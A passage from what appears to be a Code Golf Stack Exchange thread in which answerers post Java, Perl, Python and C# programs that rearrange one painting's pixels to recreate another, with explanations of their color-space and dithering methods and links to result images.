getTrueColors(palette);\n List resultColors = getTrueColors(result);\n Collections.sort(paletteColors);\n Collections.sort(resultColors);\n System.out.println(paletteColors.equals(resultColors));\n }\n public static List getTrueColors(BufferedImage img) {\n int width = img.getWidth();\n int height = img.getHeight();\n List colors = new ArrayList<>(width * height);\n for (int x = 0; x < width; x++) {\n for (int y = 0; y < height; y++) {\n colors.add(img.getRGB(x, y));\n }\n }\n Collections.sort(colors);\n return colors;\n }\n}\n```\nMy approach works by finding the closest color to each pixel (well, likely the closest), in 3-space, since colors are 3D.\nThis works by creating a list of all the points we need to fill and a list of all the possible colors we can use. We randomize the list of points (so the image will turn out better), then we go through each point and get the color of the source image.\n**Update:** I used to simply binary search, so red matched better than green which matched better than blue. I now changed it to do six binary searches (all of the possible permutations), then choose the closest color. It only takes ~6 times as long (ie 1 minute). While the pictures are still grainy, the colors match better.\n**Update 2:** I no longer randomize the list. Instead, I choose 4 points following the rule of thirds, then randomly arrange the points, with preference to filling out the center.\nNote: See the revision history for the old pictures.\nMona Lisa -> River:\n![enter image description here](https://i.stack.imgur.com/rMB1Y.png)\nMona Lisa -> American Gothic:\n![enter image description here](https://i.stack.imgur.com/QMdSl.png)\nMona Lisa -> Raytraced Spheres:\n![enter image description here](https://i.stack.imgur.com/gsBLc.png)\nStarry Night -> Mona Lisa: \n![enter image description here](https://i.stack.imgur.com/HTQBu.png)\n---\nHere's an animated Gif showing how the image was constructed:\n![enter image description here](https://i.stack.imgur.com/7vJgI.gif)\nAnd showing the pixels being taken from the Mona Lisa:\n![enter image description here](https://i.stack.imgur.com/X1imn.gif)\n[Answer]\n# Perl, with Lab color space and dithering\n**Note:** Now I have a [C solution](https://codegolf.stackexchange.com/questions/33172/american-gothic-in-the-palette-of-mona-lisa-rearrange-the-pixels/34481#34481) too.\nUses a similar approach to aditsu's, (choose two random positions, and swap the pixels at those positions if it would make the image more like the target image), with two major improvements:\n1. Uses the [CIE L*a*b\\* color space](https://en.wikipedia.org/wiki/Lab_color_space) to compare colors — the Euclidean metric on this space is a very good approximation to the perceptual difference between two colors, so the color mappings should be more accurate than RGB or even HSV/HSL.\n2. After an initial pass putting pixels in the best possible single position, it does an additional pass with a random dither. Instead of comparing the pixel values at the two swap positions, it computes the average pixel value of a 3x3 neighborhood centered at the swap positions. If a swap improves the average colors of the neighborhoods it's allowed, even if it makes individual pixels less accurate. For some image pairs this has a dubious effect on the quality (and makes the palette effect less striking), but for some (like spheres -> anything) it helps quite a bit. The \"detail\" factor emphasizes the central pixel to a variable degree. Increasing it decreases the overall amount of dither, but retains more fine detail from the target image. The dithered optimization is slower, which is why we run it on the output of the non-dithered optimization as a starting point.\nAveraging Lab values, like the dither does, isn't *really* justified (they should be converted to XYZ, averaged, and converted back) but it works just fine for these purposes.\nThese images have termination limits of 100 and 200 (end the first phase when less than 1 in 5000 swaps is accepted, and the second phase at 1 in 2500), and a dithering detail factor of 12 (a little tighter dither than the previous set). At this super high quality setting, the images take a long time to generate, but with parallelization the whole job still finishes within an hour on my 6-core box. Bumping the values up to 500 or so finishes images within a few minutes, they just look a little less polished. I wanted to show off the algorithm to the best here.\nCode is not by any means pretty:\n```\n#!/usr/bin/perl\nuse strict;\nuse warnings;\nuse Image::Magick;\nuse Graphics::ColorObject 'RGB_to_Lab';\nuse List::Util qw(sum max);\nmy $source = Image::Magick->new;\n$source->Read($ARGV[0]);\nmy $target = Image::Magick->new;\n$target->Read($ARGV[1]);\nmy ($limit1, $limit2, $detail) = @ARGV[2,3,4];\nmy ($width, $height) = ($target->Get('width'), $target->Get('height'));\n# Transfer the pixels of the $source onto a new canvas with the diemnsions of $target\n$source->Set(magick => 'RGB');\nmy $img = Image::Magick->new(size => \"${width}x${height}\", magick => 'RGB', depth => 8);\n$img->BlobToImage($source->ImageToBlob);\nmy ($made, $rejected) = (0,0);\nsystem(\"rm anim/*.png\");\nmy (@img_lab, @target_lab);\nfor my $x (0 .. $width) {\n for my $y (0 .. $height) {\n $img_lab[$x][$y] = RGB_to_Lab([$img->getPixel(x => $x, y => $y)], 'sRGB');\n $target_lab[$x][$y] = RGB_to_Lab([$target->getPixel(x => $x, y => $y)], 'sRGB');\n }\n}\nmy $n = 0;\nmy $frame = 0;\nmy $mode = 1;\nwhile (1) {\n $n++;\n my $swap = 0;\n my ($x1, $x2, $y1, $y2) = (int rand $width, int rand $width, int rand $height, int rand $height);\n my ($dist, $dist_swapped);\n if ($mode == 1) {\n $dist = (sum map { ($img_lab[$x1][$y1][$_] - $target_lab[$x1][$y1][$_])**2 } 0..2)\n + (sum map { ($img_lab[$x2][$y2][$_] - $target_lab[$x2][$y2][$_])**2 } 0..2);\n $dist_swapped = (sum map { ($img_lab[$x2][$y2][$_] - $target_lab[$x1][$y1][$_])**2 } 0..2)\n + (sum map { ($img_lab[$x1][$y1][$_] - $target_lab[$x2][$y2][$_])**2 } 0..2);\n } else { # dither mode\n my $xoffmin = ($x1 == 0 || $x2 == 0 ? 0 : -1);\n my $xoffmax = ($x1 == $width - 1 || $x2 == $width - 1 ? 0 : 1);\n my $yoffmin = ($y1 == 0 || $y2 == 0 ? 0 : -1);\n my $yoffmax = ($y1 == $height - 1 || $y2 == $height - 1 ? 0 : 1);\n my (@img1, @img2, @target1, @target2, $points);\n for my $xoff ($xoffmin .. $xoffmax) {\n for my $yoff ($yoffmin .. $yoffmax) {\n $points++;\n for my $chan (0 .. 2) {\n $img1[$chan] += $img_lab[$x1+$xoff][$y1+$yoff][$chan];\n $img2[$chan] += $img_lab[$x2+$xoff][$y2+$yoff][$chan];\n $target1[$chan] += $target_lab[$x1+$xoff][$y1+$yoff][$chan];\n $target2[$chan] += $target_lab[$x2+$xoff][$y2+$yoff][$chan];\n }\n }\n }\n my @img1s = @img1;\n my @img2s = @img2;\n for my $chan (0 .. 2) {\n $img1[$chan] += $img_lab[$x1][$y1][$chan] * ($detail - 1);\n $img2[$chan] += $img_lab[$x2][$y2][$chan] * ($detail - 1);\n $target1[$chan] += $target_lab[$x1][$y1][$chan] * ($detail - 1);\n $target2[$chan] += $target_lab[$x2][$y2][$chan] * ($detail - 1);\n $img1s[$chan] += $img_lab[$x2][$y2][$chan] * $detail - $img_lab[$x1][$y1][$chan];\n $img2s[$chan] += $img_lab[$x1][$y1][$chan] * $detail - $img_lab[$x2][$y2][$chan];\n }\n $dist = (sum map { ($img1[$_] - $target1[$_])**2 } 0..2)\n + (sum map { ($img2[$_] - $target2[$_])**2 } 0..2);\n $dist_swapped = (sum map { ($img1s[$_] - $target1[$_])**2 } 0..2)\n + (sum map { ($img2s[$_] - $target2[$_])**2 } 0..2);\n }\n if ($dist_swapped < $dist) {\n my @pix1 = $img->GetPixel(x => $x1, y => $y1);\n my @pix2 = $img->GetPixel(x => $x2, y => $y2);\n $img->SetPixel(x => $x1, y => $y1, color => \\@pix2);\n $img->SetPixel(x => $x2, y => $y2, color => \\@pix1);\n ($img_lab[$x1][$y1], $img_lab[$x2][$y2]) = ($img_lab[$x2][$y2], $img_lab[$x1][$y1]);\n $made ++;\n } else {\n $rejected ++;\n }\n if ($n % 50000 == 0) {\n# print \"Made: $made Rejected: $rejected\\n\";\n $img->Write('png:out.png');\n system(\"cp\", \"out.png\", sprintf(\"anim/frame%05d.png\", $frame++));\n if ($mode == 1 and $made < $limit1) {\n $mode = 2;\n system(\"cp\", \"out.png\", \"nodither.png\");\n } elsif ($mode == 2 and $made < $limit2) {\n last;\n }\n ($made, $rejected) = (0, 0);\n }\n}\n```\n# Results\n## American Gothic palette\n![](https://i.stack.imgur.com/IVxFe.png) ![](https://i.stack.imgur.com/JmEvR.png)\n![](https://i.stack.imgur.com/12EQD.png) ![](https://i.stack.imgur.com/UiihL.png)\nLittle difference here with dithering or not.\n## Mona Lisa palette\n![](https://i.stack.imgur.com/QRucu.png) ![](https://i.stack.imgur.com/8akMd.png)\n![](https://i.stack.imgur.com/9bIwj.png) ![](https://i.stack.imgur.com/4lend.png)\n![](https://i.stack.imgur.com/TdKbu.png) ![](https://i.stack.imgur.com/D0ZZf.png)\nDithering reduces the banding on the spheres, but isn't especially pretty.\n## Starry Night palette\n![](https://i.stack.imgur.com/5Pe4g.png) ![](https://i.stack.imgur.com/zVAki.png)\n![](https://i.stack.imgur.com/GlgIE.png) ![](https://i.stack.imgur.com/szQME.png)\n![](https://i.stack.imgur.com/fecF1.png) ![](https://i.stack.imgur.com/tEG3V.png)\nMona Lisa retains a bit more detail with dithering. Spheres is about the same situation as last time.\n## Scream palette\n![](https://i.stack.imgur.com/5Ncy6.png) ![](https://i.stack.imgur.com/QstuN.png)\n![](https://i.stack.imgur.com/7qdUY.png) ![](https://i.stack.imgur.com/8Xxuo.png)\n![](https://i.stack.imgur.com/D6NdH.png) ![](https://i.stack.imgur.com/s39Ya.png)\n![](https://i.stack.imgur.com/9PS4b.png) ![](https://i.stack.imgur.com/mdx0X.png)\nStarry Night without dithering is the most awesome thing ever. Dithering makes it more photo-accurate, but far less interesting.\n## Spheres palette\nAs aditsu says, the true test. I think I pass.\n![](https://i.stack.imgur.com/qcF6j.png) ![](https://i.stack.imgur.com/gh3sg.png)\n![](https://i.stack.imgur.com/mTB1k.png) ![](https://i.stack.imgur.com/rhB3u.png)\n![](https://i.stack.imgur.com/pkYME.png) ![](https://i.stack.imgur.com/M6NvR.png)\nDithering helps immensely with American Gothic and Mona Lisa, mixing some grays and other colors in with the more intense pixels to produce semi-accurate skin tones instead of horrible blotches. The Scream is affected far less.\n# Camaro - Mustang\nSource images from flawr's post.\nCamaro: ![](https://i.stack.imgur.com/nNtFk.png)\nMustang: ![](https://i.stack.imgur.com/g1Bkh.png)\n## Camaro palette\n![](https://i.stack.imgur.com/7KCcp.png)\nLooks pretty good without dither.\n![](https://i.stack.imgur.com/o0fDM.png)\nA \"tight\" dither (same detail factor as above) doesn't change much, just adds a little detail in the highlights on the hood and roof.\n![](https://i.stack.imgur.com/Vl3T8.png)\nA \"loose\" dither (detail factor dropped to 6) really smooths out the tonality, and a lot more detail is visible through the windshield, but ditherng patterns are more obvious everywhere.\n## Mustang palette\n![](https://i.stack.imgur.com/zxR7n.png)\nParts of the car look great, but the gray pixels look glitchy. What's worse, all the darker yellow pixels got distributed over the red Camaro body, and the non-dithering algorithm can't find anything to do with the lighter ones (moving them into the car would make the match worse, and moving them to another spot on the background makes no net difference), so there's a ghost-Mustang in the background.\n![](https://i.stack.imgur.com/aYNfq.jpg)\nDithering is able to spread those extra yellow pixels around so they don't touch, scattering them more-or-less evenly over the background in the process. The highlights and shadows on the car look a little better.\n![](https://i.stack.imgur.com/k0SLL.jpg)\nAgain, the loose dither has the evenest tonality, reveals more detail on the headlights and windshield. The car almost looks red again. background is clumpier for some reason. Not sure if I like it.\n# Video\n[![](https://web.archive.org/web/20180103010545/https://giant.gfycat.com/GlossyOptimalBear.gif)](https://web.archive.org/web/20180103010545/https://giant.gfycat.com/GlossyOptimalBear.gif)\n([HQ Link](https://gfycat.com/glossyoptimalbear))\n[Answer]\n# Python\nThe idea is simple: Every pixel has a point in the 3D RGB space. The goal is matching each a pixel of the source and one of the destination image, preferably they should be 'close' (represent the 'same' colour). Since they can be distributed in pretty different ways, we cannot just match the nearest neighbour.\n## Strategy\nLet `n` be an integer (small, 3-255 or so). Now the the pixelcloud in the RGB space gets sorted by the first axis (R). This set of pixel is now partitioned into n partitions. Each of the partitions is now sorted along the second axis (B) which again is sorted an the same way partitioned. We do this with both pictures, and have now for both an array of the points. Now we just can match the pixels by their position in the array, sice a pixel in the same position in each array has a similar position relative to each pixelcloud in the RGB space.\nIf the distribution of the pixels in the RGB space of the both images similar (means only shifted and/or stretched along the 3 axis) the result will be pretty predictable. If the distributions look completely different, this algorithm will not produce as good results (as seen by the last example) but this is also one of the harder cases I think. What it does not do is using effects of interaction of neighbouring pixels in perception.\n## Code\nDisclaimer: I am an absolute newbie to python.\n```\nfrom PIL import Image\nn = 5 #number of partitions per channel.\nsrc_index = 3 #index of source image\ndst_index = 2 #index of destination image\nimages = [\"img0.bmp\",\"img1.bmp\",\"img2.bmp\",\"img3.bmp\"];\nsrc_handle = Image.open(images[src_index])\ndst_handle = Image.open(images[dst_index])\nsrc = src_handle.load()\ndst = dst_handle.load()\nassert src_handle.size[0]*src_handle.size[1] == dst_handle.size[0]*dst_handle.size[1],\"images must be same size\"\ndef makePixelList(img):\n l = []\n for x in range(img.size[0]):\n for y in range(img.size[1]):\n l.append((x,y))\n return l\nlsrc = makePixelList(src_handle)\nldst = makePixelList(dst_handle)\ndef sortAndDivide(coordlist,pixelimage,channel): #core\n global src,dst,n\n retlist = []\n #sort\n coordlist.sort(key=lambda t: pixelimage[t][channel])\n #divide\n partitionLength = int(len(coordlist)/n)\n if partitionLength <= 0:\n partitionLength = 1\n if channel < 2:\n for i in range(0,len(coordlist),partitionLength):\n retlist += sortAndDivide(coordlist[i:i+partitionLength],pixelimage,channel+1)\n else:\n retlist += coordlist\n return retlist\nprint(src[lsrc[0]])\nlsrc = sortAndDivide(lsrc,src,0)\nldst = sortAndDivide(ldst,dst,0)\nfor i in range(len(ldst)):\n dst[ldst[i]] = src[lsrc[i]]\ndst_handle.save(\"exchange\"+str(src_index)+str(dst_index)+\".png\")\n```\n## Result\nI think it turned out not bad considering the simple solution. You can of course get better results when fiddling around with the parameter, or first transforming the colors into another color space, or even optimizing the partitioning.\n[![comparision of my results](https://i.stack.imgur.com/2b3iT.jpg)](https://i.stack.imgur.com/2b3iT.jpg \"title\")\nFull Gallery here: \n## Detailed for River\n### monalisa > river\n![monalisa>river](https://i.stack.imgur.com/5qKzY.png)\n### people > river\n![people>river](https://i.stack.imgur.com/EaMl6.png)\n### balls > river\n![balls>river](https://i.stack.imgur.com/cJ1fp.png)\n### starry night > river\n![nocturne>river](https://i.stack.imgur.com/MgnRr.png)\n### the cry > river\n![thecry>river](https://i.stack.imgur.com/iM6Aj.png)\n### balls > MonaLisa, varying n = 2,4,6,...,20\nThis was the most challenging task I think, far from nice pictures, here a gif (had to be reduced to 256 colours) of the differen parameter values n = 2,4,6,...,20. To me it was suprprising that very low values produced better images (when looking at the face of Mme. Lisa):\n![balls >monalisa](https://i.stack.imgur.com/Cg7Bd.gif)\n### Sorry I cannot stop\nWhich one do you like better? Chevy Camaro or Ford Mustang? Perhaps this technique could be improved and used for colouring bw pictures.\nNow here: first I cut the cars roughly out from the background by painting it white (in paint, not very professional...) and then used the python program in each direction.\nOriginals\n![original](https://i.stack.imgur.com/nNtFk.png)\n![original](https://i.stack.imgur.com/g1Bkh.png)\nRecoloured\nThere are some artifacts, I think because the area of one car was slightly bigger than the other and because my artistic skills are pretty bad=)\n![manipulated](https://i.stack.imgur.com/R9HOM.png)\n![enter image description here](https://i.stack.imgur.com/6k9rw.png)\n[Answer]\n# Python - A theoretically optimal solution\nI say theoretically optimal because the truly optimal solution is not quite feasible to compute. I start off by describing the theoretical solution, and then explain how I tweaked it to make it computationally feasible in both space and time.\nI consider the most optimal solution as the one yielding the lowest total error across all pixels between the old and new images. The error between two pixels is defined as the Euclidian distance between the points in 3D space where each color value (R, G, B) is a coordinate. In practice, because of how humans see things, the optimal solution may very well not be the *best looking* solution. However, it appears to do fairly well in all cases.\nTo compute the mapping, I considered this as a [minimum weight bipartite matching problem](http://www.dti.unimi.it/~righini/Didattica/ComplementiRicercaOperativa/MaterialeCRO/Matching.pdf). In other words, there are two sets of nodes: the original pixels and the palette pixels. An edge is created between each pixel across the two sets (but no edges are created within a set). The cost, or weight, of an edge is the Euclidian distance between the two pixels, as described above. The closer two colors are visually, the lower the cost between the pixels.\n![Bipartite Matching Example](https://i.stack.imgur.com/CCdtR.png)\nThis creates a cost matrix of size N2. For these images where N = 123520, approximately 40 GB of memory is required to represent the costs as integers, and half that as short integers. Either way, I did not have enough memory on my machine to make an attempt. Another issue is that the [Hungarian algorithm](http://en.wikipedia.org/wiki/Hungarian_algorithm), or the [Jonker-Volgenant algorithm](http://link.springer.com/article/10.1007%2FBF02278710), which can be used to solve this problem, run in N3 time. While definitely computable, generating a solution per image would have likely taken hours or days.\nTo get around this issue, I randomly sort both lists of pixels, split the lists into C chunks, run a [C++ implementation](https://github.com/hrldcpr/pyLAPJV) of the Jonker-Volgenant algorithm on each sublist pair, and then join the lists back to create the final mapping. Therefore, the code below would allow one to find the truly optimal solution provided that they to set the chunk size C to 1 (no chunking) and have enough memory. For these images, I set C to be 16, so that N becomes 7720, taking just a few minutes per image.\nA simple way to think of why this works is that randomly sorting the list of pixels and then taking a subset is like sampling the image. So by setting C = 16, it's like taking 16 distinct random samples of size N/C from both the original and palette. Granted, there are probably better ways of splitting the lists, but a random approach provides decent results.\n```\nimport subprocess\nimport multiprocessing as mp\nimport sys\nimport os\nimport sge\nfrom random import shuffle\nfrom PIL import Image\nimport numpy as np\nimport LAPJV\nimport pdb\ndef getError(p1, p2):\n return (p1[0]-p2[0])**2 + (p1[1]-p2[1])**2 + (p1[2]-p2[2])**2\ndef getCostMatrix(pallete_list, source_list):\n num_pixels = len(pallete_list)\n matrix = np.zeros((num_pixels, num_pixels))\n for i in range(num_pixels):\n for j in range(num_pixels):\n matrix[i][j] = getError(pallete_list[i], source_list[j])\n return matrix\ndef chunks(l, n):\n if n < 1:\n n = 1\n return [l[i:i + n] for i in range(0, len(l), n)]\ndef imageToColorList(img_file):\n i = Image.open(img_file)\n pixels = i.load()\n width, height = i.size\n all_pixels = []\n for x in range(width):\n for y in range(height):\n pixel = pixels[x, y]\n all_pixels.append(pixel)\n return all_pixels\ndef colorListToImage(color_list, old_img_file, new_img_file, mapping):\n i = Image.open(old_img_file)\n pixels = i.load()\n width, height = i.size\n idx = 0\n for x in range(width):\n for y in range(height):\n pixels[x, y] = color_list[mapping[idx]]\n idx += 1\n i.save(new_img_file)\ndef getMapping(pallete_list, source_list):\n matrix = getCostMatrix(source_list, pallete_list)\n result = LAPJV.lap(matrix)[1]\n ret = []\n for i in range(len(pallete_list)):\n ret.append(result[i])\n return ret\ndef randomizeList(l):\n rdm_l = list(l)\n shuffle(rdm_l)\n return rdm_l\ndef getPartialMapping(zipped_chunk):\n pallete_chunk = zipped_chunk[0]\n source_chunk = zipped_chunk[1]\n subl_pallete = map(lambda v: v[1], pallete_chunk)\n subl_source = map(lambda v: v[1], source_chunk)\n mapping = getMapping(subl_pallete, subl_source)\n return mapping\ndef getMappingWithPartitions(pallete_list, source_list, C = 1):\n rdm_pallete = randomizeList(enumerate(pallete_list))\n rdm_source = randomizeList(enumerate(source_list))\n num_pixels = len(rdm_pallete)\n real_mapping = [0] * num_pixels\n chunk_size = int(num_pixels / C)\n chunked_rdm_pallete = chunks(rdm_pallete, chunk_size)\n chunked_rdm_source = chunks(rdm_source, chunk_size)\n zipped_chunks = zip(chunked_rdm_pallete, chunked_rdm_source)\n pool = mp.Pool(2)\n mappings = pool.map(getPartialMapping, zipped_chunks)\n for mapping, zipped_chunk in zip(mappings, zipped_chunks):\n pallete_chunk = zipped_chunk[0]\n source_chunk = zipped_chunk[1]\n for idx1,idx2 in enumerate(mapping):\n src_px = source_chunk[idx1]\n pal_px = pallete_chunk[idx2]\n real_mapping[src_px[0]] = pal_px[0]\n return real_mapping\ndef run(pallete_name, source_name, output_name):\n print(\"Getting Colors...\")\n pallete_list = imageToColorList(pallete_name)\n source_list = imageToColorList(source_name)\n print(\"Creating Mapping...\")\n mapping = getMappingWithPartitions(pallete_list, source_list, C = 16)\n print(\"Generating Image...\");\n colorListToImage(pallete_list, source_name, output_name, mapping)\nif __name__ == '__main__':\n pallete_name = sys.argv[1]\n source_name = sys.argv[2]\n output_name = sys.argv[3]\n run(pallete_name, source_name, output_name)\n```\n## Results:\nLike with aditsu's solution, these images were all generated using the exact same parameters. The only parameter here is C, which should be set as low as possible. For me, C = 16 was a good balance between speed and quality.\nAll images: \n### American Gothic palette\n![mona-gothic](https://i.stack.imgur.com/QasBf.png) ![scream-gothic](https://i.stack.imgur.com/PeGIX.png)\n### Mona Lisa palette\n![gothic-mona](https://i.stack.imgur.com/rVSzm.png) ![scream-mona](https://i.stack.imgur.com/K6rc9.png)\n### Starry Night palette\n![mona-night](https://i.stack.imgur.com/MLr1l.png) ![river-night](https://i.stack.imgur.com/CSokM.png)\n### Scream palette\n![gothic-scream](https://i.stack.imgur.com/KcTtU.png) ![mona-scream](https://i.stack.imgur.com/klzca.png)\n### River palette\n![gothic-spheres](https://i.stack.imgur.com/vpSQi.png) ![mona-spheres](https://i.stack.imgur.com/ad5Ic.png)\n### Spheres palette\n![gothic-spheres](https://i.stack.imgur.com/MKEyt.png) ![mona-spheres](https://i.stack.imgur.com/BkAu4.png)\n[Answer]\n# C# Winform - Visual Studio 2010\n**Edit** Dithering added.\nThat's my version of random-swap algorithm - @hobbs flavour. I still feel that some sort of non-random dithering can do better...\nColor elaboration in Y-Cb-Cr space (as in jpeg compression)\nTwo phase elaboration:\n1. Copy of pixel from source in luminance order. This already gives a good image, but desaturated - almost grey scale - in near 0 time\n2. Repeated random swap of pixels. The swap is done if this give a better delta (respect to the source) in the 3x3 cell containing the pixel. So it's a dithering effect. The delta is calculated on Y-Cr-Cb space with no weighting of the different components.\nThis is essentially the same method used by @hobbs, without the first random swap without dithering. Just, my times are shorter (the language counts?) and I think my images are better (probably the color space used is more accurate).\nProgram usage: put .png images in your c:\\temp folder, check element in the list to choose the palette image, select element in the list to choose source image (not so user friendly). Click start button to start elaboration, saving is automatic (even when you prefer not - beware).\nElaboration time under 90 seconds.\n**Updated Results**\n*Palette: American Gothic*\n![Monna Lisa](https://i.stack.imgur.com/Taaiw.png)\n![Rainbow](https://i.stack.imgur.com/dtHR0.png)\n![River](https://i.stack.imgur.com/5tOZ0.png)\n![Scream](https://i.stack.imgur.com/omqmT.png)\n![Starry Night](https://i.stack.imgur.com/hZ521.png)\n*Palette: Monna Lisa*\n![American Gothic](https://i.stack.imgur.com/eUWrV.png)\n![Rainbow](https://i.stack.imgur.com/SJZXc.png)\n![River](https://i.stack.imgur.com/5BwZB.png)\n![Scream](https://i.stack.imgur.com/RaVD1.png)\n![Starry Night](https://i.stack.imgur.com/6IX46.png)\n*Palette: Rainbow*\n![American Gothic](https://i.stack.imgur.com/hUc9N.png)\n![Monna Lisa](https://i.stack.imgur.com/x8unb.png)\n![River](https://i.stack.imgur.com/iaTbJ.png)\n![Scream](https://i.stack.imgur.com/zDlyY.png)\n![Starry Night](https://i.stack.imgur.com/QdmLQ.png)\n*Palette: River*\n![American Gothic](https://i.stack.imgur.com/p70JR.png)\n![Monna Lisa](https://i.stack.imgur.com/bFwRm.png)\n![Rainbow](https://i.stack.imgur.com/G6Qrn.png)\n![Scream](https://i.stack.imgur.com/eVXRZ.png)\n![Starry Night](https://i.stack.imgur.com/cpZFt.png)\n*Palette: Scream*\n![American Gothic](https://i.stack.imgur.com/oOhEN.png)\n![Monna Lisa](https://i.stack.imgur.com/NMx4V.png)\n![Rainbow](https://i.stack.imgur.com/ED3e7.png)\n![River](https://i.stack.imgur.com/d0Ws8.png)\n![Starry Night](https://i.stack.imgur.com/gmzHE.png)\n*Palette: Starry Night*\n![American Gothic](https://i.stack.imgur.com/VAUwK.png)\n![Monna Lisa](https://i.stack.imgur.com/CkjQq.png)\n![Rainbow](https://i.stack.imgur.com/AMGt8.png)\n![River](https://i.stack.imgur.com/DBrSB.png)\n**Form1.cs**\n```\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Data;\nusing System.Drawing;\nusing System.Linq;\nusing System.Text;\nusing System.Windows.Forms;\nusing System.Drawing.Imaging;\nusing System.IO;\nnamespace Palette\n{\n public struct YRB\n {\n public int y, cb, cr;\n public YRB(int r, int g, int b)\n {\n y = (int)(0.299 * r + 0.587 * g + 0.114 * b);\n cb = (int)(128 - 0.168736 * r - 0.331264 * g + 0.5 * b);\n cr = (int)(128 + 0.5 * r - 0.418688 * g - 0.081312 * b);\n }\n }\n public struct Pixel\n {\n private const int ARGBAlphaShift = 24;\n private const int ARGBRedShift = 16;\n private const int ARGBGreenShift = 8;\n private const int ARGBBlueShift = 0;\n public int px, py;\n private uint _color;\n public YRB yrb;\n public Pixel(uint col, int px = 0, int py = 0)\n {\n this.px = px;\n this.py = py;\n this._color = col;\n yrb = new YRB((int)(col >> ARGBRedShift) & 255, (int)(col >> ARGBGreenShift) & 255, (int)(col >> ARGBBlueShift) & 255); \n }\n public uint color\n {\n get { \n return _color; \n }\n set {\n _color = color;\n yrb = new YRB((int)(color >> ARGBRedShift) & 255, (int)(color >> ARGBGreenShift) & 255, (int)(color >> ARGBBlueShift) & 255);\n }\n }\n public int y\n {\n get { return yrb.y; }\n }\n public int cr\n {\n get { return yrb.cr; }\n }\n public int cb\n {\n get { return yrb.cb; }\n }\n }\n public partial class Form1 : Form\n {\n public Form1()\n {\n InitializeComponent();\n }\n private void Form1_Load(object sender, EventArgs e)\n {\n DirectoryInfo di = new System.IO.DirectoryInfo(@\"c:\\temp\\\");\n foreach (FileInfo file in di.GetFiles(\"*.png\"))\n {\n ListViewItem item = new ListViewItem(file.Name);\n item.SubItems.Add(file.FullName);\n lvFiles.Items.Add(item);\n }\n }\n private void lvFiles_ItemSelectionChanged(object sender, ListViewItemSelectionChangedEventArgs e)\n {\n if (e.IsSelected)\n {\n string file = e.Item.SubItems[1].Text;\n GetImagePB(pbSource, file);\n pbSource.Tag = file; \n DupImage(pbSource, pbOutput);\n this.Width = pbOutput.Width + pbOutput.Left + 20;\n this.Height = Math.Max(pbOutput.Height, pbPalette.Height)+lvFiles.Height*2; \n }\n }\n private void lvFiles_ItemCheck(object sender, ItemCheckEventArgs e)\n {\n foreach (ListViewItem item in lvFiles.CheckedItems)\n {\n if (item.Index != e.Index) item.Checked = false;\n }\n string file = lvFiles.Items[e.Index].SubItems[1].Text;\n GetImagePB(pbPalette, file);\n pbPalette.Tag = lvFiles.Items[e.Index].SubItems[0].Text; \n this.Width = pbOutput.Width + pbOutput.Left + 20;\n this.Height = Math.Max(pbOutput.Height, pbPalette.Height) + lvFiles.Height * 2; \n }\n Pixel[] Palette;\n Pixel[] Source;\n private void BtnStart_Click(object sender, EventArgs e)\n {\n lvFiles.Enabled = false;\n btnStart.Visible = false;\n progressBar.Visible = true; \n DupImage(pbSource, pbOutput);\n Work(pbSource.Image as Bitmap, pbPalette.Image as Bitmap, pbOutput.Image as Bitmap);\n string newfile = (string)pbSource.Tag +\"-\"+ (string)pbPalette.Tag;\n pbOutput.Image.Save(newfile, ImageFormat.Png); \n lvFiles.Enabled = true;\n btnStart.Visible = true;\n progressBar.Visible = false;\n }\n private void Work(Bitmap srcb, Bitmap palb, Bitmap outb)\n {\n GetData(srcb, out Source);\n GetData(palb, out Palette);\n FastBitmap fout = new FastBitmap(outb);\n FastBitmap fsrc = new FastBitmap(srcb);\n int pm = Source.Length;\n int w = outb.Width;\n int h = outb.Height;\n progressBar.Maximum = pm;\n fout.LockImage();\n for (int p = 0; p < pm; p++)\n {\n fout.SetPixel(Source[p].px, Source[p].py, Palette[p].color);\n }\n fout.UnlockImage();\n pbOutput.Refresh();\n var rnd = new Random();\n int totsw = 0;\n progressBar.Maximum = 200;\n for (int i = 0; i < 200; i++)\n {\n int nsw = 0;\n progressBar.Value = i;\n fout.LockImage();\n fsrc.LockImage();\n for (int j = 0; j < 200000; j++)\n {\n nsw += CheckSwap(fsrc, fout, 1 + rnd.Next(w - 2), 1 + rnd.Next(h - 2), 1 + rnd.Next(w - 2), 1 + rnd.Next(h - 2));\n }\n totsw += nsw;\n lnCurSwap.Text = nsw.ToString();\n lnTotSwap.Text = totsw.ToString();\n fout.UnlockImage();\n fsrc.UnlockImage();\n pbOutput.Refresh();\n Application.DoEvents();\n if (nsw == 0)\n {\n break;\n }\n } \n }\n int CheckSwap(FastBitmap fsrc, FastBitmap fout, int x1, int y1, int x2, int y2)\n {\n const int fmax = 3;\n YRB ov1 = new YRB();\n YRB sv1 = new YRB();\n YRB ov2 = new YRB();\n YRB sv2 = new YRB();\n int f;\n for (int dx = -1; dx <= 1; dx++)\n {\n for (int dy = -1; dy <= 1; dy++)\n {\n f = (fmax - Math.Abs(dx) - Math.Abs(dy));\n {\n Pixel o1 = new Pixel(fout.GetPixel(x1 + dx, y1 + dy));\n ov1.y += o1.y * f;\n ov1.cb += o1.cr * f;\n ov1.cr += o1.cb * f;\n Pixel s1 = new Pixel(fsrc.GetPixel(x1 + dx, y1 + dy));\n sv1.y += s1.y * f;\n sv1.cb += s1.cr * f;\n sv1.cr += s1.cb * f;\n Pixel o2 = new Pixel(fout.GetPixel(x2 + dx, y2 + dy));\n ov2.y += o2.y * f;\n ov2.cb += o2.cr * f;\n ov2.cr += o2.cb * f;\n Pixel s2 = new Pixel(fsrc.GetPixel(x2 + dx, y2 + dy));\n sv2.y += s2.y * f;\n sv2.cb += s2.cr * f;\n sv2.cr += s2.cb * f;\n }\n }\n }\n YRB ox1 = ov1;\n YRB ox2 = ov2;\n Pixel oc1 = new Pixel(fout.GetPixel(x1, y1));\n Pixel oc2 = new Pixel(fout.GetPixel(x2, y2));\n ox1.y += fmax * oc2.y - fmax * oc1.y;\n ox1.cb += fmax * oc2.cr - fmax * oc1.cr;\n ox1.cr += fmax * oc2.cb - fmax * oc1.cb;\n ox2.y += fmax * oc1.y - fmax * oc2.y;\n ox2.cb += fmax * oc1.cr - fmax * oc2.cr;\n ox2.cr += fmax * oc1.cb - fmax * oc2.cb;\n int curd = Delta(ov1, sv1, 1) + Delta(ov2, sv2, 1);\n int newd = Delta(ox1, sv1, 1) + Delta(ox2, sv2, 1);\n if (newd < curd)\n {\n fout.SetPixel(x1, y1, oc2.color);\n fout.SetPixel(x2, y2, oc1.color);\n return 1;\n }\n return 0;\n 